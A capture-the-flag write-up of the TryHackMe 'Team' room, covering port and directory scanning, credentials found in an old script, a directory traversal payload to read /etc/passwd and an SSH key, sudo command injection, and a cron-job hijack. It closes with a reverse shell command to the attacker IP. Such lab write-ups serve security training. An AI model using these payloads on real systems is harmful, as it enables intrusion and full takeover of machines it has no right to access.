February 9, 20235 minutes

https://tryhackme.com/room/teamcw

Attacker IP = 10.10.10.10

Target IP = 10.10.67.245

Reconnaissance#

First of all, we check whether the machine is up and which OS it runs

$ ping -c 1 10.10.67.245
PING 10.10.67.245 (10.10.67.245) 56(84) bytes of data.
64 bytes from 10.10.67.245: icmp_seq=1 ttl=63 time=49.5 ms

--- 10.10.67.245 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 49.502/49.502/49.502/0.000 ms

In this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Linux

Port scan (nmap)#

Now we start with a port scan

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.67.245 -oG allports

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.67.245
   5   │     [*] Open ports: 21,22,80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴─────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts

$ nmap -p21,22,80 -sC -sV 10.10.67.245 -oN versions
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 795f116aa85c20824306cd488741b794d (RSA)
|   256 af7e3aaf7eb4865883f1f6a254a69bbaad (ECDSA)
|_  256 2625ba07bdc3fb29437125dcd0698c79f (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works! If you see this add 'te...
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Whatweb#

We run whatweb to get more information about the website

$ whatweb 10.10.67.245
http://10.10.67.245 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.67.245], Title[Apache2 Ubuntu Default Page: It works! If you see this add 'team.thm' to your hosts!]

The title says we need to add team.thm to /etc/hosts

team.thm website#

Reconnaissance#

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://team.thm/FUZZ
                           
000000291:   301        9 L      28 W       305 Ch      "assets"                        
000000274:   301        9 L      28 W       306 Ch      "scripts"                       
000000016:   301        9 L      28 W       305 Ch      "images" 

We run the scan again on the scripts directory with the wordlist SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt

$ wfuzz -c -t 200 --hc=404,403 -w /opt/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt "http://team.thm/scripts/FUZZ.txt"

000000297:   200        21 L     71 W       597 Ch      "script" 

Contents of script.txt

#!/bin/bash
read -p "Enter Username: " REDACTED
read -sp "Enter Username Password: " REDACTED
echo
ftp_server="localhost"
ftp_username="$Username"
ftp_password="$Password"
mkdir /home/username/linux/source_folder
source_folder="/home/username/source_folder/"
cp -avr config* $source_folder
dest_folder="/home/username/linux/dest_folder/"
ftp -in $ftp_server <<END_SCRIPT
quote USER $ftp_username
quote PASS $decrypt
cd $source_folder
!cd $dest_folder
mget -R *
quit

# Updated version of the script
# Note to self had to change the extension of the old "script" in this folder, as it has creds in

At the end there is a note saying they had to change the extension of the old script because it had CREDENTIALS

We are going to fuzz with wfuzz using a wordlist of extensions.

$ wfuzz -c -t 200 --hc=404,403 -w /opt/SecLists/Fuzzing/extensions-skipfish.fuzz.txt "http://team.thm/scripts/script.FUZZ"

000000086:   200        21 L     71 W       597 Ch      "txt"                           
000000053:   200        18 L     44 W       466 Ch      "old"

Now we have the extension of the old script. If we open it, we see the credentials for the user ftpuser

FTP#

We connect over FTP as ftpuser. Inside there is a file called New_site.txt, which we can download to our machine with get New_site.txt to read its contents

The file contains a message from gyles to dale saying they are starting to build a new website on a subdomain called dev, and also that there is a copy of id_rsa in the SSH config file

We could have found this earlier with gobuster:

$ gobuster vhost -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u team.thm -t 50 --append-domain

Found: dev.team.thm Status: 200 [Size: 187]

dev.team.thm subdomain#

First of all, it’s important to add the dev subdomain to /etc/hosts

When we open http://dev.team.thm/ we see a link to http://dev.team.thm/script.php?page=teamshare.php. Looking at the URL, we might be able to do directory traversal, which consists of leaving the directory and reading files on the server

When we try http://dev.team.thm/script.php?page=../../../../etc/passwd, it shows us /etc/passwd

If we remember what the FTP note said, one part mentioned that dale’s id_rsa had been put in the SSH config file, so we can try reading /etc/ssh/sshd_config

We save it in a file called id_rsa, set its permissions with chmod 600 id_rsa, and finally connect over SSH: ssh -i id_rsa [email protected]

Privilege escalation#

Gyles#

With sudo -l we see that we can run a file as gyles without a password

dale@TEAM:~$ sudo -l

User dale may run the following commands on TEAM:
    (gyles) NOPASSWD: /home/gyles/admin_checks

If we cat it, we can see there is a part where our input ($error) is stored and executed

#!/bin/bash

printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name  >> /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$error 2>/dev/null

date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak

printf "Stats have been backed up\n"

dale@TEAM:~$ sudo -u gyles /home/gyles/admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data: test
Enter 'date' to timestamp the file: /bin/bash
The Date is 
whoami
gyles

We are gyles now

(To get a prompt we can run script /dev/null -c bash)

Root#

In the /opt/admin_stuff directory there is a root script

-rwxr--r-- 1 root root 200 Jan 17  2021 script.sh

with the following:

#!/bin/bash
#I have set a cronjob to run this script every minute


dev_site="/usr/local/sbin/dev_backup.sh"
main_site="/usr/local/bin/main_backup.sh"
#Back ups the sites locally
$main_site
$dev_site

We can see it runs two scripts, and it says this file runs automatically every minute as root

We can’t modify this file, but we can modify main_backup.sh.

What we’ll do is put the following inside main_backup.sh to send ourselves a reverse shell on port 443

bash -c "bash -i >& /dev/tcp/10.10.10.10/443 0>&1"

We listen on port 443 with nc and wait

We get the reverse shell as root!